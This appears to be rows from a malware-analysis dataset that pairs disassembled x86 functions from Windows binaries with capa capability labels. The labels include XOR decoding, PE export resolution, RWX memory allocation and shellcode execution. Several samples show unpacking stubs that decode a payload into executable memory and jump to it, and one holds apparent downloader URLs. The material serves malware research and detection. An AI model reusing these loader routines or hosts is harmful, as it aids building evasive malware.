joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431ec0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409150
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x431ee9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x431f91
cmp dword [0x22dae8c], 0xa5f
jne 0x431f35
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push str.keminivefayosexerukugufebaponif
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x431f5a
mov eax, dword [0x437010]
mov dword [0x22dae8c], eax
mov ecx, dword [0x22dae8c]
add ecx, 0xa231
mov dword [0x22dae8c], ecx
cmp dword [0x22dae8c], 0x141
jne 0x431f8c
push str.renej_luwoyisawopab_dadabayegutenecisufoba_wozonotuwugewiropoxu_vogiwipeladoxakanahotucucuwi
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4382a8], 0xec58acac
mov dword [0x4382ac], 0xffffffff
jmp 0x431ee0
call fcn.00431b90
jmp dword [0x22da830]
Function at 0x48ed20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x80
push ebx
push ebp
mov ebp, ecx
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov edx, dword [esp + 0x34]
mov eax, dword [ebp + 0x3e1]
mov ecx, dword [ebp + 0x3e9]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [ecx + 0x5f47]
mov dword [esp + 0x44], eax
mov eax, 3
mov dword [esp + 0x28], ecx
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], eax
mov eax, dword [ecx + 0x74]
push esi
sub eax, 4
mov dword [esp + 0x40], 0
mov dword [esp + 0x74], eax
mov ecx, dword [ecx + 0x78]
sub ecx, 4
mov dword [esp + 0x44], edx
mov edx, dword [esp + 0x40]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0x94]
push edi
mov dword [esp + 0x50], edx
lea edx, [esp + 0x80]
mov eax, dword [ecx + 4]
mov ecx, dword [ecx]
push eax
push ecx
push eax
push ecx
push edx
call fcn.004012b0
add esp, 0x14
mov dword [esp + 0x28], 0
lea eax, [esp + 0x70]
lea ecx, [esp + 0x80]
push eax
lea edx, [esp + 0x64]
push ecx
push edx
call fcn.004011d0
add esp, 0xc
test eax, eax
je 0x48ef99
push 0x135
push str.D:DevProjectsJMain1SourceVLynx.cpp
call fcn.00401130
add esp, 8
and eax, reloc.DSOUND.dll_DirectSoundCreate
jns 0x48edff
dec eax
or eax, 0xfffffffe
inc eax
jne 0x48ee1c
mov eax, dword [esp + 0x6c]
mov ebx, dword [esp + 0x64]
inc eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], 1
jmp 0x48ee37
mov edx, dword [esp + 0x64]
mov ecx, dword [esp + 0x6c]
dec edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x24], 0xffffffff
mov ebx, ecx
push 0x141
push str.D:DevProjectsJMain1SourceVLynx.cpp
call fcn.00401130
add esp, 8
and eax, reloc.DSOUND.dll_DirectSoundCreate
jns 0x48ee55
dec eax
or eax, 0xfffffffe
inc eax
jne 0x48ee74
mov ecx, dword [esp + 0x68]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], 1
lea esi, [ecx + 1]
mov dword [esp + 0x1c], esi
jmp 0x48ee8f
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x68]
dec eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 0xffffffff
mov esi, eax
cmp ebx, dword [esp + 0x14]
je 0x48ef71
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
cmp eax, esi
mov edi, eax
je 0x48ef5f
cmp ebx, dword [esp + 0x18]
je 0x48eecd
mov edx, dword [esp + 0x14]
sub edx, dword [esp + 0x24]
cmp ebx, edx
je 0x48eecd
cmp edi, eax
je 0x48eecd
mov eax, esi
sub eax, ecx
cmp edi, eax
jne 0x48ef4d
mov ecx, dword [esp + 0x2c]
push 0
push ebx
push edi
call fcn.00438cd0
test al, 0x19
jne 0x48ef4d
mov ecx, dword [ebp + 0x3e9]
mov esi, dword [ecx + 0x4689b]
test esi, esi
je 0x48efc3
cmp word [esi + 0x36b], 0x35
je 0x48ef07
mov ecx, esi
call fcn.004be220
mov esi, eax
jmp 0x48eeea
lea edx, [esi + 0xf9]
mov eax, dword [esi + 0xf9]
mov ecx, dword [edx + 4]
mov dword [esp + 0x58], ecx
mov ecx, dword [edx + 8]
lea edx, [esp + 0x34]
push ecx
mov ecx, dword [ebp + 0x3e5]
push eax
push edx
call fcn.004afa10
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edi
mov ecx, dword [ecx + 4]
jne 0x48ef3e
invalid
Function at 0x6c6c7370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov eax, dword [0x6c6fe0f0]
test eax, eax
jne 0x6c6c7397
mov dword [esp], 0x6c6fe0f0
call fcn.6c6f4cec
test eax, eax
je 0x6c6c7397
mov eax, 1
jmp 0x6c6c739c
mov eax, 0
test eax, eax
je 0x6c6c7433
mov dword [esp], str.GailAdjustment
call fcn.6c6f4db4
mov ebx, eax
call fcn.6c6f4914
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x6c6c745a
mov dword [esp + 0x10], 0x28
mov dword [esp + 0xc], 0x6c6c7330
mov dword [esp + 8], 0xb0
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.6c6f4a6c
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x6c6c757b
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call fcn.6c6f47dc
mov edx, eax
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.6c6f4acc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x6c6fe0f0
call fcn.6c6f4ce4
mov eax, dword [0x6c6fe0f0]
add esp, 0x34
pop ebx
pop ebp
ret

Function at 0x6c6d337c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov eax, dword [0x6c6fe1b4]
test eax, eax
jne 0x6c6d33a3
mov dword [esp], 0x6c6fe1b4
call fcn.6c6f4cec
test eax, eax
je 0x6c6d33a3
mov eax, 1
jmp 0x6c6d33a8
mov eax, 0
test eax, eax
je 0x6c6d3471
mov dword [esp], str.GailExpander
call fcn.6c6f4db4
mov ebx, eax
call sym.WISeGVgMkst_Dail_container_get_type
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x6c6d34e3
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0xc], 0x6c6d333c
mov dword [esp + 8], 0xd4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.6c6f4a6c
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x6c6d3b5c
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call fcn.6c6f49ec
mov edx, eax
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.6c6f4acc
mov dword [ebp - 0x24], 0x6c6d3f20
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
call fcn.6c6f480c
mov edx, eax
lea eax, [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.6c6f4acc
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x6c6fe1b4
call fcn.6c6f4ce4
mov eax, dword [0x6c6fe1b4]
add esp, 0x44
pop ebx
pop ebp
ret
Function at 0x401981
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401990
pop dword [ebp - 0x34]
mov eax, 0xe54538b9
sub eax, 0xe5051f29
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xfa03fef9
sub dword [ebp - 0x44], 0xabb1b9ae
mov dword [ebp - 0x40], 0x149e7976
sub dword [ebp - 0x40], 0xe26b2d31
mov dword [ebp - 0x3c], 0x58859974
add dword [ebp - 0x3c], 0xf3c6aaba
mov dword [ebp - 0x38], 0x2cdd9a7d
sub dword [ebp - 0x38], 0x2cdd9a7d
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xdc64c509
add dword [ebp - 0x44], 0x980da44d
mov dword [ebp - 0x40], 0x6bd9c4f4
sub dword [ebp - 0x40], 0x2a6d637f
mov dword [ebp - 0x3c], 0x7e556aa9
sub dword [ebp - 0x3c], 0x1ae5fe3d
mov dword [ebp - 0x38], 0x6d9682e6
sub dword [ebp - 0x38], 0x6d9682e6
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3cff1
push 0
call eax
mov ecx, 0xa2d3a118
sub ecx, 0xa2d34b46
xor edx, edx
add edx, eax
mov esi, 0xd3c35c2b
add esi, 0x2c7e53d5
add esi, dword [ebp - 0x34]
mov ebx, 0xb0238265
sub ebx, 0x176b69b4
xor dword [ebp - 8], eax
mov edi, dword [esi]
add dword [ebp - 4], ebx
add edi, ebx
add dword [ebp - 0x30], 0x8c132e74
mov dword [edx], edi
add dword [ebp - 0x10], 0x1bd23060
add edx, 0x3205dfb
sub edx, 0x3205df7
add esi, 0x97005b58
add esi, 0x68ffa4ac
loop 0x401aaa
add eax, 0x6d08d648
sub eax, 0x6d078c2d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x407490
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4092ab
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebp
push esi
push edi
mov eax, dword [0x40f238]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x24], edi
mov eax, dword [esp + 0x38]
push eax
call dword [0x40a3a0]
mov dword [edi], vtable.b.0
mov ecx, dword [0x40a370]
mov dword [esp + 0x30], 0
mov dword [edi + 8], ecx
mov edx, ecx
mov eax, 1
lock xadd dword [edx], eax
mov ecx, dword [0x40a370]
mov dword [edi + 0xc], ecx
mov edx, ecx
mov eax, 1
lock xadd dword [edx], eax
mov ebp, dword [0x40a2f0]
push 0xffffffffffffffff
push str.http:__up.filesnow.info
mov byte [esp + 0x38], 2
call ebp
mov dword [esp + 0x24], eax
push 0xffffffffffffffff
push str.http:__prt.filesinc.info
mov byte [esp + 0x40], 3
call ebp
mov dword [esp + 0x28], eax
push 0xffffffffffffffff
push str.http:__prt.filessolutions.info
mov byte [esp + 0x48], 4
call ebp
mov dword [esp + 0x2c], eax
push 0xffffffffffffffff
push str.http:__up.downloadgroup.info
mov byte [esp + 0x50], 5
call ebp
add esp, 0x20
mov dword [esp + 0x10], eax
mov eax, dword [0x40a370]
mov dword [esp + 0x38], eax
mov ecx, 1
lock xadd dword [eax], ecx
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x34], 7
call fcn.00401ab0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x3c]
call fcn.00401ab0
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x3c]
call fcn.00401ab0
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x3c]
call fcn.00401ab0
mov eax, dword [esp + 0x38]
cmp dword [edi + 8], eax
je 0x4075e2
mov ebp, eax
mov ecx, 1
lock xadd dword [eax], ecx
mov edx, dword [edi + 8]
or eax, 0xffffffff
lock xadd dword [edx], eax
jne 0x4075c9
mov ecx, dword [edi + 8]
push ecx
lea ecx, [edi + 8]
call fcn.004012c0
mov dword [edi + 8], ebp
test byte [ebp + 0x10], 1
jne 0x4075de
mov edx, dword [ebp + 4]
push edx
lea ecx, [edi + 8]
call fcn.00401660
mov eax, dword [esp + 0x38]
mov byte [esp + 0x30], 6
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x4075fe
mov edx, dword [esp + 0x38]
push edx
lea ecx, [esp + 0x3c]
call fcn.004012c0
mov eax, dword [esp + 0x10]
mov byte [esp + 0x30], 5
or ecx, 0xffffffff
lock xadd dword [eax], ecx
mov esi, dword [0x40a3a4]
jne 0x407620
mov edx, dword [esp + 0x10]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x14]
mov byte [esp + 0x30], 4
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x40763c
mov edx, dword [esp + 0x14]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x18]
mov byte [esp + 0x30], 3
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x407658
mov edx, dword [esp + 0x18]
push edx
call esi
add esp, 4
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x30], 2
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x407674
mov edx, dword [esp + 0x1c]
push edx
call esi
add esp, 4
lea eax, [esp + 0x20]
push eax
call dword [0x40a2b8]
add esp, 4
lea ecx, [esp + 0x20]
call dword [0x40a2b4]
push eax
call dword [0x40a2b0]
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x24
ret 4
Function at 0x404970
Capabilities:
Terminate process

Disassembly:
push 0
push str.5B3838F5_0C81_46D9_A4C0_6EA28CA3E942
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x404988
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call fcn.00403fb0
mov esi, eax
test esi, esi
je 0x4049aa
push esi
call fcn.00404150
add esp, 4
test eax, eax
je 0x4049aa
mov edx, eax
mov ecx, esi
call fcn.00404200
xor eax, eax
pop esi
ret

Function at 0x404eea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408018]
jne 0x404ef4
repz ret
jmp fcn.00405307
Function at 0x1001204a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10012059
pop dword [ebp - 0x4c]
mov eax, 0x60eaea21
add eax, 0xaf163638
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x386d8
push 0
mov eax, 0x1dc0037a
sub eax, 0xdbd726e
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x751f746a
sub ecx, 0x751f353a
mov edx, eax
mov esi, 0xbe0b58cd
sub esi, 0xae06eccd
add esi, dword [ebp - 0x4c]
mov ebx, 0xc84717f5
sub ebx, 0x65ecd063
xor dword [ebp - 0x20], edi
mov edi, dword [esi]
add dword [ebp - 0x34], 0x9b73ea7c
xor edi, ebx
xor dword [ebp - 0x48], edi
mov dword [edx], edi
add dword [ebp - 0x3c], 0xe64cc6d4
add edx, 0xe3ee6c69
sub edx, 0xe3ee6c65
add esi, 0xc8dba8b
add esi, 0xf3724579
loop 0x100120b8
add eax, 0xef93
mov ebx, eax
add eax, 0x1febcf75
add eax, 0xe0143090
mov ecx, 0x61588c80
sub ecx, 0x51588c80
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10006510
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
xor eax, eax
test cl, 1
je 0x1000652b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x10006536
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10006541
bts eax, 5
shr ecx, 1
test cl, 1
je 0x1000654c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10006557
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10006562
bts eax, 2
shr ecx, 1
test cl, 1
je 0x1000656d
bts eax, 1
test cl, 2
je 0x10006576
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
test bl, 1
je 0x10006612
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10006603
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x10006520
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006640
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10155018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x101460a4
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp - 8], 0
call fcn.100fb431
add esp, 0xc
test eax, eax
je 0x10006690
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a3a28
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call fcn.100fb478
add esp, 4
mov ebx, eax
mov dword [ebp - 0x10], ebx
push dword [ebp - 8]
test ebx, ebx
jne 0x100066c6
call fcn.100fb6bf
add esp, 4
xor al, al
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a3a28
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call fcn.100fb8c8
add esp, 0x10
test eax, eax
je 0x1000671b
push esi
nop dword [eax + eax]
mov esi, ebx
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 0xc]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x100066e2
push dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
push 0x400
push 1
push ebx
call fcn.100fb8c8
add esp, 0x10
test eax, eax
jne 0x100066e0
pop esi
push ebx
call fcn.100fba03
push dword [ebp - 8]
call fcn.100fb6bf
mov ecx, dword [ebp - 4]
add esp, 8
not dword [edi]
xor ecx, ebp
mov al, 1
pop ebx
pop edi
call fcn.100a3a28
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10006750
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x60]
mov dword [esi], vtable.CAntiHack.0
test eax, eax
je 0x1000677c
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x60], 0
test byte [ebp + 8], 1
je 0x1000678d
push 0x64
push esi
call fcn.100a3d50
add esp, 8
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10006920
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0
push 0
push 0
push 0x10006860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 1
push 0x10006860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 2
push 0x10006860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 3
push 0x10006860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 4
push 0x10006860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
test eax, eax
je 0x100069b3
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10006a00
Capabilities:
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x10155018]
xor eax, esp
mov dword [esp + 0x38], eax
push esi
push 0
push 0
push 0
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x5045454
push eax
push 0
push 0
push 0x101460b4
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [esp + 8]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreateSequential]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [esp + 0x3a]
movzx eax, word [esp + 0x38]
shl ecx, 0x10
or ecx, eax
movzx eax, word [esp + 0x16]
xor ecx, 0xb542d8e1
push ecx
movzx ecx, word [esp + 0x1c]
shl ecx, 0x10
or ecx, eax
mov eax, dword [esp + 0x16]
xor eax, 0x5d78a569
xor ecx, 0xf45bc123
push ecx
push eax
mov eax, dword [esp + 0x10]
xor eax, 0x12b586fe
push eax
lea eax, [esi + 4]
push str._08X__08X__08X__08X
push eax
call fcn.10006b40
mov ecx, dword [esp + 0x54]
add esp, 0x18
pop esi
xor ecx, esp
call fcn.100a3a28
mov esp, ebp
pop ebp
ret
Function at 0x10007010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10155018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x10155ebc], 0
push ebx
push esi
push edi
je 0x1000721b
cmp dword [0x10155ec0], 0
je 0x1000721b
cmp dword [0xe609e8], 5
jne 0x1000721b
mov ebx, dword [ebp + 8]
mov eax, dword [0x10155ec4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, dword [ebx]
jge 0x100070a6
mov esi, dword [0x10155ee4]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
movss xmm0, dword [esi]
comiss xmm0, dword [0x1014a148]
push esi
movss dword [ebp - 0x10], xmm0
jbe 0x10007087
call edi
mov dword [esi], 0xc2340000
jmp 0x1000709a
call edi
movss xmm0, dword [ebp - 0x10]
addss xmm0, dword [0x10149f48]
movss dword [esi], xmm0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 4
push esi
call edi
mov eax, dword [0x10155ec4]
cmp eax, dword [ebx]
jle 0x100070fd
mov esi, dword [0x10155ee4]
lea eax, [ebp - 0xc]
movss xmm0, dword [0x1014a284]
push eax
push 0x40
movss xmm1, dword [esi]
comiss xmm0, xmm1
push 4
push esi
movss dword [ebp - 0x10], xmm1
jbe 0x100070de
call edi
mov dword [esi], 0xc2340000
jmp 0x100070f1
call edi
movss xmm0, dword [ebp - 0x10]
subss xmm0, dword [0x10149f48]
movss dword [esi], xmm0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 4
push esi
call edi
mov eax, dword [0x10155ec8]
cmp eax, dword [ebx + 4]
jge 0x1000718e
mov esi, dword [0x10155ee8]
movss xmm1, dword [0x1014a278]
movss xmm0, dword [esi]
comiss xmm1, xmm0
movss dword [ebp - 0x10], xmm0
jbe 0x1000718b
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push esi
call edi
movss xmm0, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
addss xmm0, dword [0x10149d48]
push eax
push dword [ebp - 0xc]
push 4
push esi
movss dword [esi], xmm0
call edi
mov esi, dword [0x10155eec]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 8
movsd xmm0, qword [esi]
subsd xmm0, qword [0x10149da0]
push esi
movsd qword [ebp - 0x14], xmm0
call edi
movsd xmm0, qword [ebp - 0x14]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
movsd qword [esi], xmm0
push 8
push esi
call edi
mov eax, dword [0x10155ec8]
cmp eax, dword [ebx + 4]
jle 0x10007207
mov esi, dword [0x10155ee8]
movss xmm0, dword [esi]
comiss xmm0, dword [0x1014a27c]
movss dword [ebp - 0x10], xmm0
jbe 0x10007207
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push esi
call edi
movss xmm0, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
subss xmm0, dword [0x10149d48]
push eax
push dword [ebp - 0xc]
push 4
push esi
movss dword [esi], xmm0
call edi
mov esi, dword [0x10155eec]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 8
movsd xmm0, qword [esi]
addsd xmm0, qword [0x10149da0]
push esi
movsd qword [ebp - 0x14], xmm0
call edi
movsd xmm0, qword [ebp - 0x14]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
movsd qword [esi], xmm0
push 8
push esi
call edi
mov eax, dword [ebx]
mov dword [0x10155ec4], eax
mov eax, dword [ebx + 4]
mov dword [0x10155ec8], eax
call fcn.10007230
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100a3a28
mov esp, ebp
pop ebp
ret 4